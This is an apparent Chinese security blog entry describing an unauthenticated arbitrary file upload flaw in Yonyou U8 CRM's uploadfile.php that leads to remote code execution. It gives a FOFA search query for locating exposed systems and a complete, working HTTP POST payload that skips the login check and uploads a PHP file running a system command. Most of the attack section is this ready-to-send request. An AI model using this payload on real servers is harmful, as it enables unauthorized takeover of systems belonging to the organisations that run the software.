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Published on 2024-08-30 / 3 Visits
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Y15-6用友-U8+CRM-RCE

Y15-6用友-U8+CRM-RCE

漏洞描述:

用友 U8 CRM客户关系管理系统 uploadfile.php 文件存在任意文件上传漏洞,未经身份验证的攻击者通过漏洞上传恶意后门文件,执行任意代码,从而获取到服务器权限。

网站图片:

image.webp

fofa语法:

title=“用友U8CRM”

漏洞复现:

payload:

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855

------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="1.php "
Content-Type: application/octet-stream

<?php system("whoami");unlink(__FILE__);?>
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"

upload
------269520967239406871642430066855--

效果图:
效果图
效果图:
效果图


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